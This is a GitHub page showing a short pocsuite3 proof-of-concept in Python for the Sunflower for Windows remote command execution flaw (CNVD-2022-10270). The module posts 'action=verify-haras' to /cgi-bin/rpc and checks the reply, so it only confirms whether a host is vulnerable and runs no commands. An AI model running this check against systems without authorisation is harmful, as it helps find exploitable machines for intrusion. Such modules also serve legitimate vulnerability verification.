forked from Wrin9/sunflower_RCE_POC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
sunflower_RCE_POC.py
65 lines (55 loc) · 2.05 KB
/
sunflower_RCE_POC.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# !/usr/bin/env python
# -*- coding: UTF-8 -*-
import json
import re
from urllib.parse import urlparse
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
class sunflower_RCE_POC(POCBase):
vulID = 'CNVD-2022-10270'
version = '1.0'
author = ['Warin9_0']
vulDate = '2022-02-15'
createDate = '2022-02-15'
updateDate = '2022-02-15'
references = ['']
name = 'sunflower_RCE'
appPowerLink = ''
appName = 'sunflower for Windows'
appVersion = """Sunflower Personal edition for Windows <= 11.0.0.33
Sunflower Reduced version <= V1.0.1.43315"""
vulType = VUL_TYPE.CODE_EXECUTION
desc = '''Shanghai Bayray Information Technology Co., Ltd. has command execution vulnerability in Sunflower Personal Edition for Windows'''
samples = ['']
install_requires = ['']
category = POC_CATEGORY.EXPLOITS.WEBAPP
def _verify(self):
result = {}
target = self.url
if target:
try:
self.timeout = 5
vulurl = target + "/cgi-bin/rpc"
parse = urlparse(vulurl)
headers = {
"Host": "{}".format(parse.netloc)
}
data = "action=verify-haras"
resq = requests.post(vulurl, headers=headers, timeout=self.timeout, data=data,verify=False)
print ("resq.txt")
if resq.status_code == 200:
if "verify_string" in resq.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = target
except Exception as e:
print(e)
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(sunflower_RCE_POC)